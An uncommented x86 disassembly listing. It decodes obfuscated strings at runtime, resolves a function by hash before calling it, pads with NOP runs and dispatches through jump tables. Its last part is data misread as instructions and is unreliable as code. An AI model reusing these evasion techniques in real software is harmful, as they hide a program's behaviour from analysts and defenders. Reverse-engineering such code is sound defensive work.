cmp eax, 0xdf6a768
jne 0x430df0
movzx eax, byte [esi + 0x414]
test al, al
je 0x430e7d
lea ecx, [esi + 0x415]
mov edi, dword [esi + 0x18]
nop
nop
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430e70
jmp 0x430e80
mov edi, dword [esi + 0x18]
mov byte [edi], 0
movzx eax, word [esi + 0xe4]
xor ecx, ecx
test ax, ax
setns cl
jmp dword [ecx*4 + 0x44f450]
jmp 0x430ea6
mov byte [edi], 0x2b
inc edi
movzx eax, word [esi + 0xe4]
cwde
push 0xa
push 7
lea ecx, [esi + 0x60]
push ecx
push eax
call fcn.004345e0
add esp, 0x10
movzx ecx, byte [eax]
test cl, cl
je 0x430ecb
inc eax
mov byte [edi], cl
inc edi
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x430ec0
mov byte [edi], 0
mov dword [esi + 0x414], 0x9a6e6046
mov dword [esi + 0x418], 0xb6a6a6be
mov dword [esi + 0x41c], 0x9d76bbb8
mov dword [esi + 0x420], 0x67bdafbb
mov word [esi + 0x424], 0x5f7c
mov dword [esi + 0x426], 0
mov byte [esi + 0x42a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x8d
xor cl, byte [esi + eax + 0x414]
add cl, 0x3f
mov byte [esi + eax + 0x414], cl
inc eax
cmp eax, 0x17
jne 0x430f20
movzx eax, byte [esi + 0x414]
test al, al
je 0x430f5b
lea ecx, [esi + 0x415]
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430f50
mov byte [edi], 0
movzx eax, byte [esi + 0xe6]
test al, al
je 0x430f7b
lea ecx, [esi + 0xe7]
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x430f70
mov byte [edi], 0
mov eax, dword [esi + 0xcc]
test eax, eax
je 0x430f91
push eax
call fcn.0040c830
add esp, 4
call fcn.0043caf0
movzx eax, al
mov dword [esi + 0x18], edi
jmp dword [eax*4 + 0x44f458]
mov dword [esi + 0x414], 0x6e595558
mov byte [esi + 0x418], 0xc0
mov word [esi + 0x419], 0
mov byte [esi + 0x41b], 0
xor eax, eax
lea ecx, [esi + 0x414]
mov dword [esi + 0x10], ecx
nop
mov ecx, eax
add cl, 0x31
xor cl, byte [esi + eax + 0x414]
add cl, 0xb
mov byte [esi + eax + 0x414], cl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 8
jb 0x430fd0
jmp dword [0x44f464]
lea edi, [esi + 0x51]
mov eax, dword [esi + 0x10]
inc eax
lea ecx, [esi + 0xbd]
mov dword [esi + 0xbc], 0x7a5e5436
mov dword [esi + 0xc0], 0x82b89890
mov dword [esi + 0xc4], 0x798284b4
mov word [esi + 0xc8], 0x2544
mov dword [esi + 0xca], 0
mov word [esi + 0xce], 0
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
mov ebx, edx
add bl, 0xa
xor bl, byte [esi + edx + 0xbc]
add bl, 0xce
mov byte [esi + edx + 0xbc], bl
inc edx
cmp edx, 0x14
jne 0x431290
movzx edx, byte [esi + 0xbc]
mov ebx, dword [esi + 0x18]
test dl, dl
je 0x4312cb
mov ebx, dword [esi + 0x18]
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x4312c0
mov byte [ebx], 0
mov ecx, dword [esi + 0x10]
movzx ecx, byte [ecx]
test cl, cl
je 0x4312eb
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4312e0
mov dword [esi + 0xc], ebx
mov byte [ebx], 0
mov byte [esi + 0x50], 0
mov dword [esi + 0x20], 0x10
push 0xb239caff
push dword [0x452b68]
call fcn.004454d0
add esp, 8
lea ecx, [esi + 0x20]
lea edx, [esi + 0x50]
push ecx
push edx
call eax
mov dword [esi + 0xbc], 0x78965cbe
mov dword [esi + 0xc0], 0x2e222027
mov dword [esi + 0xc4], 0x79205c2c
mov word [esi + 0xc8], 0xbd9c
mov dword [esi + 0xca], 0
xor eax, eax
xor ecx, ecx
nop
nop
mov ebx, ecx
xor ebx, 0x22
mov edx, eax
and edx, 0x3a
sub edx, ebx
xor dl, byte [esi + ecx + 0xbc]
add dl, 0xaa
mov byte [esi + ecx + 0xbc], dl
inc ecx
add eax, 2
cmp ecx, 0x12
jne 0x431350
movzx eax, byte [esi + 0xbc]
test al, al
je 0x4313a0
lea ebx, [esi + 0xbd]
mov ecx, ebx
mov edx, dword [esi + 0xc]
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431390
jmp 0x4313a9
mov edx, dword [esi + 0xc]
lea ebx, [esi + 0xbd]
mov byte [edx], 0
movzx eax, byte [esi + 0x50]
test al, al
je 0x4313cb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x4313c0
mov dword [esi + 0xc], edx
mov byte [edx], 0
mov dword [esi + 0x714], 0
mov dword [esi + 0x718], 0
mov eax, dword [0x45185c]
mov dword [esi + 0x14], eax
mov dword [esi + 0xbc], 0x39963b93
mov dword [esi + 0xc0], 0x258927a2
mov dword [esi + 0xc4], 0x21b523b4
mov dword [esi + 0xc8], 0x2df02ffd
mov dword [esi + 0xcc], 0x29862bfe
mov dword [esi + 0xd0], 0x158217bc
mov word [esi + 0xd4], 0x1314
mov word [ebx + 0x1d], 0
mov dword [ebx + 0x19], 0
mov ecx, 0xb4
lea edx, [esi + 0xbc]
nop
nop
nop
nop
nop
nop
movzx edi, byte [edx]
lea eax, [ecx - 0x80]
mov ebx, ecx
and ebx, eax
xor ebx, eax
not ebx
and ebx, edi
xor ebx, eax
mov al, 8
sub al, bl
mov byte [edx], al
dec ecx
inc edx
cmp ecx, 0x94
jne 0x431450
lea edi, [esi + 0xbc]
push 0x800
push 0
push edi
call dword [esi + 0x14]
lea ecx, [esi + 0x714]
push eax
call fcn.004410c0
jmp dword [0x44f46c]
movzx ecx, word [eax]
test cx, cx
je 0x43183a
add eax, 2
xor edx, edx
mov edi, ecx
jmp 0x4316ac
inc edx
movzx edi, word [eax]
add eax, 2
test di, di
je 0x4316db
cmp di, 0x7f
jbe 0x4316a0
movzx ebx, di
cmp ebx, 0x7ff
ja 0x4316d0
add edx, 2
jmp 0x4316a1
cmp di, 0xffff
je 0x4316a1
add edx, 3
jmp 0x4316a1
lea eax, [edx + 4]
and eax, 0xfffffffc
call fcn.0040c780
mov eax, edx
mov edx, esp
and edx, 0xfffffff0
mov esp, edx
test eax, eax
je 0x431846
mov ebx, dword [esi + 0x1c]
mov dword [esi + 0xc], edx
nop
nop
nop
movzx ecx, cx
lea edi, [ebx + 2]
mov dword [esi + 0x10], edi
cmp cx, 0x7f
ja 0x431720
mov ebx, dword [esi + 0xc]
mov byte [ebx], cl
lea edi, [ebx + 1]
jmp 0x431748
cmp ecx, 0x7ff
ja 0x431770
cmp eax, 2
jb 0x431770
mov ebx, ecx
shr ebx, 6
or bl, 0xc0
mov edi, dword [esi + 0xc]
mov byte [edi], bl
mov ebx, edi
and cl, 0x3f
or cl, 0x80
add edi, 2
mov byte [ebx + 1], cl
mov ecx, dword [esi + 0x10]
add eax, ebx
sub eax, edi
mov ebx, ecx
mov dword [esi + 0xc], edi
movzx ecx, word [ebx]
test cx, cx
je 0x431832
test eax, eax
jne 0x431700
jmp 0x431832
mov edi, ecx
and edi, 0xfc00
cmp edi, 0xd800
jne 0x4317e2
cmp eax, 4
jb 0x4317e2
movzx edi, word [ebx + 2]
mov dword [esi + 0x18], edi
shl ecx, 0xa
add ecx, edi
add ecx, 0xfca02400
mov dword [esi + 0x10], ecx
shr ecx, 0x12
add cl, 0xf0
mov edi, dword [esi + 0xc]
mov byte [edi], cl
mov ecx, dword [esi + 0x10]
shr ecx, 0xc
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
mov ecx, dword [esi + 0x10]
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 2], cl
add ebx, 4
mov ecx, dword [esi + 0x18]
and cl, 0x3f
or cl, 0x80
mov byte [edi + 3], cl
mov dword [esi + 0xc], edi
add edi, 4
mov ecx, ebx
mov ebx, dword [esi + 0xc]
jmp 0x43174b
movzx edi, di
cmp edi, 0xdc00
jne 0x4317f5
mov ebx, dword [esi + 0x10]
jmp 0x431754
cmp eax, 3
jb 0x431828
mov ebx, ecx
shr ebx, 0xc
or bl, 0xe0
mov edi, dword [esi + 0xc]
mov byte [edi], bl
mov ebx, ecx
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
mov ebx, edi
and cl, 0x3f
or cl, 0x80
add edi, 3
mov byte [ebx + 2], cl
jmp 0x431748
mov ebx, dword [esi + 0xc]
mov edi, ebx
jmp 0x431748
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0xc]
jmp 0x43184b
push eax
mov edx, esp
and edx, 0xfffffff0
mov esp, edx
mov ecx, edx
jmp 0x43184b
mov ecx, edx
mov eax, dword [esi + 0x1c]
mov byte [ecx], 0
movzx ecx, byte [edx]
mov edi, dword [esi + 0x14]
test cl, cl
je 0x43186b
inc edx
mov edi, dword [esi + 0x14]
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x431860
mov byte [edi], 0
jmp dword [0x44f430]
lodsd eax, dword [esi]
inc edx
add byte [0x7c0042ad], bh
scasb al, byte es:[edi]
inc edx
add byte [edi - 0x6fffbd52], bl
scasb al, byte es:[edi]
inc edx
add byte [edx - 0x6fffbd52], al
scasb al, byte es:[edi]
inc edx
add byte [edi + 0x340042ae], bl
scasd eax, dword es:[edi]
inc edx
add byte [edi + 0x530042ae], ch
scasd eax, dword es:[edi]
inc edx
add byte [ebx - 0x1fffbd51], al
mov edx, 0xafa90042
inc edx
add cl, dl
mov edx, 0xafde0042
inc edx
add byte [esi - 0x41], bh
inc edx
add byte [edx], bh
mov edi, 0xbf3a0042
inc edx
add dl, cl
mov edi, 0xbfe00042
inc edx
add ah, ah
scasd eax, dword es:[edi]
inc edx
add byte [edi - 0x44], dh
inc edx
add byte [ebx + 0x710042bb], ah
mov bh, 0x42
add byte [ebx - 0x1fffbd45], ah
mov edi, 0xafea0042
inc edx
add al, ah
mov edi, 0xb03c0042
inc edx
add ah, ch
mov edi, 0xbad10042
inc edx
add bh, dl
mov edx, 0xbae00042
inc edx
add byte [ebp - 0x51], bl
inc edx
add byte [esi - 0x5bffbd49], dl
mov bh, 0x42
add byte [edi + ebp*4 + 0x42], dh
add byte [eax], ah
mov ecx, 0xb9380042
inc edx
add byte [ebp - 0x43], cl
inc edx
add byte [edx - 0x47], ch
inc edx
add byte [eax - 0x7fffbd47], al
mov ecx, 0xb9800042
inc edx
add byte [ebx + 0x360042b9], cl
mov edx, 0xb9b20042
inc edx
add byte [edx], dl
mov edx, 0xba3c0042
inc edx
add byte [eax], dh
mov dl, 0x42
add byte [esi - 0x46], al
inc edx
add byte [eax], dh
mov dl, 0x42
add dl, al
mov dl, 0x42
add byte [edx], dl
mov edx, 0xb2da0042
inc edx
add byte [edx], dl
mov edx, 0xb30e0042
inc edx
add bl, bh
mov dl, 0x42
add byte [ecx], dh
mov bl, 0x42
add byte [eax], bl
mov ah, 0x42
add byte [ebp - 0x7fffbd4d], dl
mov bl, 0x42
add al, dl
mov bl, 0x42
add al, dl
mov bl, 0x42
add al, dl
mov bl, 0x42
add dh, dl
mov bl, 0x42
add al, dl
mov bl, 0x42
add dl, al
mov ah, 0x42
add byte [esp + esi*4 + 0x10042], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
test byte [edx + eax*2 + 0x42b4b000], dh
add byte [eax - 76], ah
inc edx
add byte [eax - 0x4fffbd4c], dh
mov ah, 0x42
add byte [edx - 0x4fffbd4c], dh
mov ah, 0x42
add dl, al
mov ah, 0x42
add byte [ebx - 0x4c], dh
inc edx
add byte [edx - 0x49], al
inc edx
add ch, bl
mov ah, 0x42
add byte [edi - 0x4b], bl
inc edx
add byte [ecx - 0x4b], ch
inc edx
add byte [eax - 0x4a], ch
inc edx
add byte [ebx - 0x4b], dh
inc edx
add byte [esi], ch
mov bh, 0x42
add byte [eax - 0x4a], ch
inc edx
add byte [eax - 0x49], al
inc edx
add byte [eax - 0x49], al
inc edx
add byte [eax - 0x49], al
inc edx
add byte [edx - 0x49], al
inc edx
add byte [edi - 0x49], cl
inc edx
add bl, bh
mov dl, 0x42
add byte [edx + edi*4], bl
inc edx
add byte [esi], dh
mov edx, 0xb7900042
inc edx
add byte [ebp - 0x43], cl
inc edx
add byte [edi], cl
rol byte [edx], 6
rol byte [edx], 6
rol byte [edx], 0x4d
mov ebp, 0xbdfa0042
inc edx
add byte [eax], dl
mov esi, 0xbe100042
inc edx
add byte [eax], dl
mov esi, 0xbe100042
inc edx
add byte [esi], dl
mov esi, 0xbe260042
inc edx
add byte [esi + edi*4], ch
inc edx
add byte [ebx - 0x2fffbd42], bh
mov esi, 0xbed00042
inc edx
add al, dl
mov esi, 0xbed60042
inc edx
add al, dl
mov esi, 0x10042
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
push ds
rol byte [edx], 96
ret